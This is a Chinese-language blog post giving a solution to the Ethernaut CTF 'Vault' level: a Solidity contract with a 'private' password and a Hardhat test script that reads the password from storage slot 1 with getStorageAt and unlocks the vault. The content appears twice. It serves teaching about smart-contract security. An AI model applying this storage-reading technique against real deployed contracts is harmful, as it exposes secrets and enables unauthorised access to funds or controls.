开坑使用Hardhat闯关Ethernaut CTF题,提高合约和测试脚本的能力,后续也会增加Paradigm CTF的闯关题目。
“`
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Vault {
bool public locked;
bytes32 private password;
constructor(bytes32 _password) public {
locked = true;
password = _password;
}
function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}
“`
这道题有个迷惑的关键词 `private`,会以为`password`是私有的,但其实区块链上没有什么是绝对私有的,`private`更多的是一种作用域。解题思路:使用getStorageAt和[状态变量在储存中的布局](https://learnblockchain.cn/docs/solidity/internals/layout_in_storage.html)概念。
测试脚本:
“`
const { expect } = require(“chai”);
const { ethers } = require(“hardhat”);
const { MaxUint256 } = require(“@ethersproject/constants”);
const { BigNumber } = require(“ethers”);
describe(“test”, function () {
var Vault;
it(“init params”, async function () {
[deployer, …users] = await ethers.getSigners();
});
it(“deploy”, async function () {
const VaultInstance = await ethers.getContractFactory(“Vault”);
Vault = await VaultInstance.deploy(ethers.utils.formatBytes32String(“ETH”));
});
it(“hack test”, async function () {
const r = await ethers.provider.getStorageAt(Vault.address, 1);
expect(ethers.utils.parseBytes32String(r)).to.equal(“ETH”);
await Vault.unlock(r);
expect(await Vault.locked()).to.equal(false);
});
});
“`
运行结果:

Github:[hardhat测试仓库](https://github.com/Verin1005/Hardhat-Ethernaut)
Vault合约
任务:猜对状态变量password
的值。
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Vault {
bool public locked;
bytes32 private password;
constructor(bytes32 _password) public {
locked = true;
password = _password;
}
function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}
这道题有个迷惑的关键词 private
,会以为password
是私有的,但其实区块链上没有什么是绝对私有的,private
更多的是一种作用域。解题思路:使用getStorageAt和状态变量在储存中的布局概念。
测试脚本:
const { expect } = require("chai");
const { ethers } = require("hardhat");
const { MaxUint256 } = require("@ethersproject/constants");
const { BigNumber } = require("ethers");
describe("test", function () {
var Vault;
it("init params", async function () {
[deployer, ...users] = await ethers.getSigners();
});
it("deploy", async function () {
const VaultInstance = await ethers.getContractFactory("Vault");
Vault = await VaultInstance.deploy(ethers.utils.formatBytes32String("ETH"));
});
it("hack test", async function () {
const r = await ethers.provider.getStorageAt(Vault.address, 1);
expect(ethers.utils.parseBytes32String(r)).to.equal("ETH");
await Vault.unlock(r);
expect(await Vault.locked()).to.equal(false);
});
});
运行结果:
Github:hardhat测试仓库
本文参与区块链技术网 ,好文好收益,欢迎正在阅读的你也加入。
- 发表于 2022-09-16 14:27
- 阅读 ( 177 )
- 学分 ( 1 )
- 分类:智能合约